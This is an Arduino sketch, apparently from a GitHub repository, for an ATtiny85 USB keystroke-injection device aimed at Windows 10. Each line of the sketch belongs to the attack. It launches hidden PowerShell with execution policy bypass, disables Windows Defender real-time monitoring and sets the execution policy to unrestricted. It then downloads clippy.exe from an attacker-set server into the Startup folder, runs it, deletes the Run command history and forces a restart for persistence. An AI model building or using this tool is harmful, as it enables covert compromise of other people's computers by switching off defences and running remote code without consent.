-
Notifications
You must be signed in to change notification settings - Fork 2
/
clippy.ino
73 lines (62 loc) · 2.8 KB
/
clippy.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/*
Payload: clippy.exe
Uses powershell to download payload in "startup" folder. Powershell executes "clippy.exe" as administrator from webserver.
Created by NEDb on 9/2/2019
Tested on:
OS: Windows 10 Pro
Hardware: ATtiny85
Please see "clippy.txt" for list of phrases.
*/
#include "DigiKeyboard.h"
/* Init function */
void setup() {
// Don't need to set anything up to use DigiKeyboard
}
void loop() {
// Turn LED off while code is running, this means the device is safe to unplug as soon as the LED turns back on
pinMode(1, OUTPUT); //LED on Model A
digitalWrite(1, HIGH);
DigiKeyboard.delay(500);
digitalWrite(1, LOW);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(0);
// Runing powershell through "RUN" with admin privlages, turn off windows defender, and set powerscript execution policy
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Opens up "RUN"
DigiKeyboard.delay(100);
// Runing powershell
DigiKeyboard.println(F("powershell -NoP -NonI -W Hidden -Exec Bypass")); // Launches Powershell hidden
DigiKeyboard.delay(2000);
// Disable Windows Defender
DigiKeyboard.println(F("Set-MpPreference -DisableRealtimeMonitoring $true"));
DigiKeyboard.delay(100);
// Allow scripts from interwebs to run (.ps1)
DigiKeyboard.println(F("set-executionpolicy unrestricted"));
DigiKeyboard.delay(100);
// Accept
DigiKeyboard.println(F("Y"));
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
// Execute code from the interwebs modify 000.0.0.0 with your IP address (192.168.0.0, 127.0.0.1, etc.)
DigiKeyboard.println(F("$StartupDir = [environment]::getfolderpath('Startup');cd $StartupDir;Invoke-WebRequest \"http://000.0.0.0/clippy.exe\" -OutFile \"clippy.exe\";Invoke-WebRequest \"http://000.0.0.0/clippy.txt\" -OutFile \"clippy.txt\""));
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
// Execute clippy.exe
DigiKeyboard.println(F("./clippy.exe"));
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
// Clear run command history
DigiKeyboard.println(F("reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f"));
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
// Led on
digitalWrite(1, HIGH);
// Restart computer payload will execute on startup ($StartupDir = [environment]::getfolderpath('Startup'))
DigiKeyboard.println(F("Restart-Computer"));
while(true){
//do nothing
}
}